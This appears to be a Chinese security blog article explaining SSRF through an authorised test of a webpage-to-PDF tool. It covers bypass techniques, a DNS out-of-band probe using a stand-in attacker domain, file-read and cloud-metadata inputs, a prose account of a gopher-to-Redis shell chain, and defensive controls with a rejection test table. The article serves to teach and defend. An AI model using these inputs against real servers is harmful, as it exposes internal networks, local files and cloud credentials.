1. 一个在线工具功能,为什么让我瞬间警觉
前段时间做一次授权范围内的渗透测试,目标是一个很普通的在线工具站,功能是“将任意网页转换为PDF文档”。我输入了一个URL,点了转换,服务器正常抓取页面、渲染PDF、返回下载链接。整个流程看起来人畜无害。
但我当时就意识到,这个功能几乎是为SSRF量身定做的。你输入URL,服务器帮你请求,再把响应返回给你——这等于把服务器的网络能力借给了普通用户。服务器在外网,也在内网,同时拥有两个世界的访问权限。问题在于,你怎么知道自己输入的URL会被解析成哪个世界的地址?
SSRF(Server-Side Request Forgery,服务端请求伪造)的本质,就是攻击者利用服务端发起的请求,去访问本不该被用户触达的内网资源。它不像SQL注入那样有显眼的报错,也不像XSS那样能立刻看到弹窗,但它造成的破坏往往是“从外网打穿到内网”的级别。
这篇文章不打算写那些浮在表面的概念。我想把SSRF从成因、分类、实战利用、绕过手法到修复方案完整拆一遍,包括一些只有在真实测试中才会注意到的细节。无论你是刚入门的安全爱好者,还是负责Web开发的工程师,这篇文章都能让你在审一个功能时,多留一个心眼。
2. 先搞清楚“为什么存在” —— 从开发者的信任假设说起
2.1 “传个URL而已,能有什么风险”
很多SSRF漏洞的形成,并不是因为开发者不知道有攻击这回事,而是真的没有意识到“URL”这个传参里藏着多大的风险。
拿最典型的“网页转PDF”功能举例。开发者的逻辑非常简单:用户给我一个链接,我去访问它,把HTML渲染成PDF,再交给用户下载。从代码层面看,这不过是一次HTTP请求加一个渲染库的调用。可这个请求的发起方是谁?是服务器,是那个拥有内网IP、能访问内网管理后台、能读取云平台上元数据服务的服务器。
用户提交的URL就是一道指令,服务器此时扮演了一个“代理执行者”的角色。如果这个URL指向的是一个攻击者自己的服务器,那一切都很正常;但如果它指向的是192.168.x.x的某个内网网段,服务器就会把内网的响应内容抓回来,甚至把内网页面的渲染结果原封不动地展示给用户。
这类问题的根源,在于开发者默认了“URL就是网址”这一假设。在实际的开发里,URL可以携带协议(file://、gopher://、dict://)、可以指向IP、可以包含端口,甚至可以用各种编码来混淆。只要代码里没有对协议和目标地址做严格限制,用户交进来的就不再是一个“链接”,而是一个“指令”。
2.2 攻击面远比你想象的大
除了网页转PDF,还有一堆常见功能天生就带着SSRF的基因:
- 图片处理/头像加载功能:你传图片URL,服务器拉取图片进行处理。这个过程中服务器会请求你指定的地址。
- 分享卡片/链接预览:在IM类应用或社交平台输入网址后,服务器抓取页面生成预览标题和封面,这也是典型的SSRF。
- Webhook配置:很多低代码平台允许用户配置回调URL,服务器在事件触发时向该URL发送请求。
- 远程文件加载:文档编辑器允许通过URL导入远端文档,服务器去获取该文件的字节流。
- RSS/订阅源抓取:输入订阅源地址后,服务器周期性访问该地址获取内容。
- SSO/第三方登录跳转:回调地址处理不当,也会变成请求伪造的入口。
从这些场景可以总结出SSRF出现的共性规律:凡是“服务器代替用户去访问一个用户可控的URL”的地方,都有可能存在SSRF。它在功能架构上的位置越是靠近内网,破坏力就越大。
2.3 SSRF的本质是一次“借权”
如果把安全边界想象成小区门禁,普通用户只能在大堂活动。内网是住户区,需要刷卡才能进入。而服务器是什么呢?它是物业工作人员,既在大堂办公,也能刷卡进入所有住户区。SSRF漏洞,就是用户找到一个办法,让物业工作人员替自己跑腿——拿着他的卡,去他想去的地方看一眼,再把看到的结果带回来。
理解了“借权”这一点,就能解释为什么SSRF的危害范围可以非常大:它把一个普通用户(只能访问公网)的权限,升级成了服务器进程(可以访问内网)的权限。而这种升级不需要特殊权限,不需要复杂的注入,只需要一个能把URL传给服务器的入口。
3. 一条内网穿透链路是怎么走通的
3.1 一个经典场景的完整推演
假设目标是个在线文档转换服务,功能允许我提交一个URL进行内容抓取。我先提交一个公网地址,看看服务器是否真的会去请求。确认功能正常后,我提交了以下地址:
http://192.168.1.23:8080/admin这一步在验证两件事:一是192.168.1.x这个内网网段是否可达;二是目标服务是否会对内网IP发起请求。
返回的结果是,我收到了一个内网管理后台的登录页面,虽然页面样式比较简单,但出现了明显的内部系统特征。这就坐实了SSRF的存在:服务器确实替我访问了内网。用一个内网地址就能直接拿到管理后台页面,说明192.168.1.0/24这个网段里大概率还有别的存活服务。
接下来我写了一段简单的脚本,在公网VPS上用Python的socket监听,返回HTTP响应头,然后提交一系列内网常见端口:22、80、443、3306、6379、8080、9200等,通过响应时间、响应内容、报错差异来判断内网端口的开放情况。
不少主机对关闭端口的响应是“connection refused”,HTTP响应状态码是502或者504;存活端口的响应要么是500(服务器请求后拿到的内容不同),要么能直接看到返回的HTML内容。用这种方式,我在较短时间内扫描出了内网中几台主机的开放端口。
3.2 从“能访问”到“能利用”的三个层次
仅凭“服务器会请求内网地址”这一点,还不足以构成高危害攻击。真正危险的是回显程度和可交互性。我把利用场景分成三个层次来理解:
第一层是“有回显读取”。服务器把内网响应内容原样返回。这种情况最舒服,攻击者像拥有一个内网浏览器一样,可以直接读取内网页面、配置文件、甚至通过file://协议读取服务器本地文件。比如在“网页转PDF”功能里提交:
file:///etc/passwd有些实现会直接把这个文件内容渲染进PDF里。有些PDF渲染库会报错,但报错信息里可能包含部分读取内容。这种回显形式虽然不如直接返回正文那么直观,但同样能用于信息收集。
第二层是“无回显但有响应差异”。服务器不直接返回内网内容,但响应时间、状态码、报错信息会随目标地址的不同而变化。利用这种差异可以探测端口、检测内网服务是否存在。比如请求一个内网Redis服务,服务器可能长时间挂起,这就是一种可用信号。
第三层是“存在时间延迟或外带通道”。这种情况下可以利用DNS解析主动外带信息,比如告诉服务器去请求一个我们可控的域名,触发DNS查询,通过域名中的唯一标识来确认某个端口的开放情况。
3.3 注意区分“SSRF漏洞”和“只是能访问”
在排查和测试中,另一个容易混淆的是:服务器能访问内网,不一定代表就有高危SSRF。关键看两点:一是用户是否完全控制了URL的协议和主机名;二是服务器对响应是否进行了转发或渲染。
如果功能本身只允许访问预设的域名白名单,比如只允许访问某个固定域名,那么即使存在请求代发,攻击面也非常有限。如果开发者用了正向代理而且代理层做了目标过滤,情况也不一样。真正的高危SSRF,是用户对URL拥有完整控制权,且服务器对响应有着可观测的输出。
我在授权测试中遇到过一些“伪SSRF”场景:功能允许输入内网地址,但请求结果完全不在响应中出现,也没有任何时间或报错差异。这种盲利用难度极高,通常只能配合DNS外带做端口探测。所以接到一个SSRF报告时,我会先判定它的类型,再决定后续的利用路径。
4. SSRF的三种“回显类型”与判定方法
4.1 完整回显:最理想的利用形态
完整回显,指的是服务器请求目标地址后,把响应内容完整呈现在返回结果里。典型场景就是“网页转PDF”和“链接预览”,目标页面的HTML、JS渲染结果、图片甚至接口返回的JSON,都可能被原样带回。
这种形态下,攻击者几乎可以当个内网“浏览器”来用。想读文件,用file://;想访问内网Web服务,直接给内网IP加端口;想看云平台元数据,给169.254.169.254这个地址。如果目标服务存在路径遍历,甚至可以结合URL中的路径构造来读取更多内容。
完整回显还有一个容易被忽略的价值,就是它可以当作HTTP代理使用。即使目标功能本身只是抓取网页,攻击者也可以利用它访问内网其他HTTP接口,然后通过响应内容获得结果,相当于借用它在内网做了一次请求转发。
4.2 基于报错的回显:信息藏在异常里
很多功能的回显不是直接返回内容,而是返回错误。比如请求一个不存在的端口,服务器报“连接失败”;请求一个存在但非HTTP协议的端口,报“响应解析错误”;请求一个存在且是HTTP服务的端口,报“目标网站响应异常”或干脆返回500。
这些报错信息虽然碎片化,但同样可以用来进行端口判别。还有一个常见场景是,服务器会显示“HTTP请求失败,目标返回了HTTP/1.1 404 Not Found”,这就等于透传了目标服务的状态吗?不,更关键的是,如果调用了后端库来做PDF渲染,某些库会在报错中携带部分文件内容或路径信息。我在一次测试中遇到过,请求file:///etc/hostname后,PDF渲染失败,但报错信息里出现了主机名的前几个字符。这种“半回显”数据仍然有价值。
4.3 盲SSRF:用时间和外带通道判断
当服务器请求目标地址后,既不返回内容也不返回带有差异的报错,这就进入了盲SSRF的范畴。盲利用不代表无利用价值,只是需要换一种观测方式,最常用的有两种:
第一种是时间差分。请求一个耗时较长或需要等待响应的目标,如一个挂起的服务、一个带延迟参数的接口,观察服务器响应用时是否发生变化。这种方式不够稳定,但可以用于确认“请求确实被发出”。
第二种是DNS外带。我可以提供一个自己可控的域名,构造形如:
http://probe-id.attacker.example.com/当服务器解析这个域名时,DNS请求会发送到我设置的解析服务器上,从而确认目标确实发起了请求。如果要探测端口,可以构造:
http://192.168.1.23:6379即使请求失败,由于目标地址中包含了我们可控的标识(比如把探测信息编码进域名子域),也可以通过DNS日志来反向推断。
下表整理了三种回显形态的差异,方便在实战中快速对照:
| 类型 | 观测方式 | 可用性 | 典型功能场景 |
|---|---|---|---|
| 完整回显 | 响应中包含目标内容 | 读取文件、访问内网页面、当代理 | 网页转PDF、链接预览 |
| 报错回显 | 报错信息、状态码、时间差异 | 端口探测、版本识别、部分信息读取 | 远程加载、URL转图片 |
| 盲SSRF | DNS外带、时间差分 | 端口探测、确认请求存在 | Webhook、回调通知 |
在任何一次测试里,第一步永远是:先确认功能有没有发出请求,再判断能不能看到结果。不同的回显类型决定了我接下来用什么样的利用链,这个顺序不能反。
5. 绕过手法逐个拆 —— “看起来过滤了”为什么挡不住
5.1 协议限制的黑名单为什么形同虚设
很多开发者的第一步修复方案,是过滤掉file://、gopher://这类非HTTP协议。这个思路方向是对的,但在实现上经常留下大量绕过空间。
首先,URL解析本身就有很多可以混淆的地方。大小写变化(FILE://、File://)、URL编码(fi%6ce://)、双重编码(%2566%2569%256c%2565)、十六进制编码、甚至Unicode编码,都可能让简单的字符串匹配失效。不要让过滤逻辑代替URL解析器去判断协议,这是一个非常常见的元错误。
其次,即使是HTTP协议,也不意味着安全。攻击者可以通过重定向绕过协议限制:提交一个合法的http://地址,该地址返回301/302跳转到file://或内网地址。如果服务器自动跟随重定向,那协议白名单就会被间接击穿。
还有一种思路是通过修改URL中的“@”符号来混淆主机名。比如:
http://example.com@127.0.0.1/很多解析器会认为主机名是example.com,但真实的HTTP请求仍然发往127.0.0.1。不同语言的URL解析库对这类语法的处理不完全一致,检测逻辑如果拿了解析后的hostname做校验,而请求使用的却是另一个hostname,就会产生“校验通过但请求目标完全不同”的错位。
5.2 DNS重绑定 —— 校验和请求之间的时间差
这是绕过IP黑名单/白名单最经典的思路。核心原理是:校验逻辑和使用逻辑之间存在时间差,攻击者可以让同一个域名在两次解析中返回不同的结果。
比如攻击者注册一个恶意域名,在第一次解析时让它返回一个白名单地址(如8.8.8.8),使代码逻辑判定为“允许”;当服务器后续真正发起请求时,第二次解析让域名返回内网地址(如192.168.1.23)。由于两次解析结果不同,校验通过的记录就失去了意义。
这种绕过方式有一个前提:目标代码是“先解析一次域名做校验,再解析一次域名去请求”。很多第三方库、框架或操作系统层面的DNS缓存会放大这个问题,因为缓存时间不可控。防御方案不是简单地加长缓存,而是要在同一个请求流程里复用同一次解析结果,或者在连接发起后再次校验连接对端的IP。
5.3 IP格式的千层套路
许多过滤规则会检查URL中是否包含内网IP地址,比如192.168、10.、172.16这些开头。这类检查的脆弱点在于,IP地址本身有多种写法,很多过滤器并不能识别所有格式。
一个IPv4地址可以写成十进制数字形式,例如127.0.0.1可以写成2130706433,很多语言的整数转换规则会把它解析回127.0.0.1;也可以写成十六进制、八进制等。此外,IPv6地址也有多种压缩写法,比如[::1]、[0:0:0:0:0:0:0:1],如果过滤规则只匹配了字符串里的“127.0.0.1”,对这些变体就完全没有拦截效果。
更隐蔽的做法是利用URL解析上的宽容性。比如在主机名中使用反斜线、在IP前添加多余的0、利用不同网段的等价表达,都可以让某些URL库解析出与过滤逻辑预期不同的目标。这类问题往往不是过滤内容写得不好,而是“过滤逻辑”和“请求逻辑”用了两套不同的解析规则,导致判断结果与真实行为不一致。
以下是一张简单的备忘表,供排查和测试时参考:
| 绕过思路 | 典型手法 | 重点是让哪里失效 |
|---|---|---|
| 协议混淆 | 大小写、编码、Unicode | 黑名单匹配规则 |
| 重定向 | 302跳转至内网/文件协议 | 域名白名单 |
| 解析差异 | @符、#号、反斜线、全角字符 | URL解析库差异 |
| IP变体 | 十进制、十六进制、IPv6压缩 | IP黑名单字符串匹配 |
| DNS重绑定 | 域名两次解析返回不同IP | 校验与请求分离的代码逻辑 |
| 元数据地址 | 169.254.169.254的别名写法和跨网段变体 | 云元数据IP过滤 |
5.4 不只是GET:扩展协议与POST型利用
前面讨论的大部分场景都是HTTP GET请求,但SSRF的边界远不止于此。部分功能允许用户控制更底层的请求参数,比如自定义请求方法、请求头,甚至是原始Socket。
典型的例子是gopher协议。它允许构造任意TCP字节流,也就是说,如果服务器支持gopher协议,那么攻击者可以手写一个完整的HTTP POST请求,甚至是Redis命令、MySQL握手数据。利用这种能力,结合内网中未授权访问的Redis服务,可以写入定时任务、公钥或Webshell,形成从SSRF到命令执行的完整链路。
我遇到过最典型的一个场景:目标站点的URL参数只允许http和gopher,但开发者没有意识到gopher的危险性。内网一台Redis服务没有设置密码且绑定在内网端口,通过gopher向Redis发送命令,成功写入了一条计划任务,最终在内网主机上拿到了Shell。
这个案例说明,在分析一个SSRF的可利用性时,不要只看它“能访问内网”,而是要问一句:这个功能允许用户控制什么?如果能控制协议和原始字节流,那它的危险等级就要拔高一个档次。
6. 从发现到实战,我习惯的验证路径
关于测试手法的细节,每个人都有一套自己的流程。我分享一下自己的做法,尤其是在确认SSRF后的完整验证路径,给做安全研究或写加固方案的读者参考。
6.1 入口确认与回显判定
第一步,提交一个公网可观测的地址。我在自己的VPS上开一个监听,记录请求的User-Agent、请求方式、是否携带了Cookie、是否有代理特征。这一步能确认服务器确实发起了请求,并了解请求的“身份信息”。很多这类功能会带出服务器端的环境变量或内网HostName等数据,抓住这些可以提前感知内网环境的情况。
第二步,提交一个内网地址,重点观察回显类型。做一张清单,记录目标对“正常地址、内网HTTP地址、内网非HTTP端口、file协议地址”四种输入的响应差异,很快就能判定是完整回显、报错回显还是盲SSRF。
6.2 内网资产探测与敏感信息收集
当确认内网可达后,我来做内网探测。如果没有回显,我用DNS外带,自己搭一个DNS日志服务,把要探测的端口或服务名编码到子域里,例如:
192.168.1.23-6379.probe.example.com如果服务器解析了这个域名,DNS日志就会记录到查询,从而确认内网IP和端口是否可连通。这种方法有个前置条件:服务器允许向任意域名发起DNS解析。很多云环境默认是允许的,所以这个大招在测试中非常好用。
如果存在回显,那就更简单了。直接尝试file协议读取本地文件,先读两个常见路径:
- /etc/passwd
- /proc/self/cmdline
前者判断文件读取能力,后者可以看当前Web服务的启动命令和参数,有一定的概率暴露出路径、配置等额外信息。然后转向云元数据地址,尝试获取临时凭证、用户数据、自定义数据等信息。国内外的云厂商基本都提供了这类元数据服务,有的在169.254.169.254,有的在fd00:ec2::254等IPv6链路本地地址变体。
6.3 对无法直接GET的场景,考虑二次协作
有些目标只允许HTTP协议,且不允许自定义请求方法,这种情况下直接打Redis或内网其他非HTTP服务会非常吃力。但不要忘了,很多内网服务自带HTTP管理接口,比如Elasticsearch的9200端口、Docker API的2375端口、Kubernetes API的6443端口。如果这些端口可以被访问,就能读出大量内网拓扑和容器运行信息。
SSRF利用中,我的思路始终是:信息收集优先于直接打满。只要能看到内网IP、端口、服务指纹,甚至是一份内网页面的HTML源码,后续的攻击就变成“在内网里找下一跳”的事情,而不是卡在漏洞层面。
在整个利用过程中,我个人有一条铁律:任何一次请求都在授权范围内进行,对于不应访问的数据,即使拿到了也不外传、不批量抓取、不深度覆盖。这个行业里,技术能力是一回事,边界感是另一回事。
7. 修复与防守 —— 工程层面的落地要点
7.1 入口侧:白名单优先,拒绝黑名单
对SSRF的防御,能被工程团队接受的方案,大概率是统一在代理层或网关层做“出口管控”。最直观的思路是设置白名单:
- 协议白名单,只允许http和https;
- 域名白名单,只允许业务必需的信任域名;
- IP白名单,只允许公网可达且业务相关的IP段。
但白名单本身也有弱点。前面提到的DNS重绑定,就是白名单的天然缺陷。如果非要允许用户输入任意域名,就必须在请求发起前做IP校验,且校验和解析必须使用同一次解析结果,或者在校验后再做一次连接级验证。
7.2 网络侧:让内网不再是“默认可达”
业务服务器如果不需要访问内网,就应该从网络层面禁止它访问内网网段。常见的做法是出站防火墙规则中默认拒绝所有到RFC 1918地址段(10.0.0.0/8、172.16.0.0/12、192.168.0.0/16)以及链路本地地址段(169.254.0.0/16)的连接,只允许特定端口和特定目标地址出站。
对云元数据服务,更保险的做法是:在防火墙层直接禁掉对169.254.169.254的出站请求,即使是正常业务也不允许直接访问。如果一定要访问,就走反向代理并在代理层做鉴权和审计。同时,尽量启用云厂商提供的元数据服务安全增强版本(如要求令牌、绑定实例角色),避免只靠网络隔离。
7.3 应用侧:二次校验、禁用重定向、统一处理
在应用代码层面,我建议至少做到以下几点:
- 不要直接信任用户输入的URL,先交给URL解析器解析,再对host、port、scheme做校验;
- 禁止自动跟随重定向,如果业务确实需要跟随,每次跳转后都要重新做同一套校验;
- 对回显的结果做统一模板渲染,不直接返回目标响应内容,避免文件读取回显;
- 控制超时时间,避免攻击者构造慢速请求来消耗连接;
- 记录完整审计日志,包含目标URL、目标IP、发起时间、请求结果,便于事后追踪。
7.4 验收时怎么测:我必试的几类用例
如果你是开发工程师,上线前想验证自己的防护是否到位,我建议至少跑一遍这组用例:
| 输入 | 期望结果 |
|---|---|
| file:///etc/passwd | 拒绝,不返回文件内容 |
| http://127.0.0.1:80/ | 拒绝,不访问回环地址 |
| http://2130706433/ | 拒绝,十进制变体也不能通过 |
| http://169.254.169.254/latest/meta-data/ | 拒绝,云元数据不可达 |
| 一个可302跳转到内网的公网地址 | 拒绝,重定向后重新校验拦截 |
| DNS重绑定域名 | 拒绝,同一次解析结果校验 |
这一组用例基本覆盖了SSRF最常见的攻击路径。如果都能拦截住,那这个功能的防护可以算是及格了。
8. 最后聊一点个人体会
做Web安全这些年,SSRF一直是我非常在意的一类漏洞。它不像RCE那样能直接打一个Shell,也不像SQL注入那样有个数据库就顺手拿数据,但它的存在往往意味着边界防御出现了系统性缺口:服务端愿意替用户发起请求,且网络层没有做隔离。
我觉得做开发和做安全的读者都应该记住一句话:凡是需要用户提交URL的功能,都值得多看一眼。不要因为“只是抓个网页”“只是生成个缩略图”就放松警惕。SSRF的利用链一旦走通,内网环境对攻击者来说就像打开了一扇没有门锁的窗户。
我自己在实际测试中最深的体会是,回显能力决定利用的上限,而网络隔离决定危害的下限。最终的安全水位,不是看应用层代码写了几个过滤函数,而是看整条链路上有没有任何一个环节允许“用户输入”直接变成“服务器请求”。想清楚这一点,多数问题都能在设计阶段被挡在门外。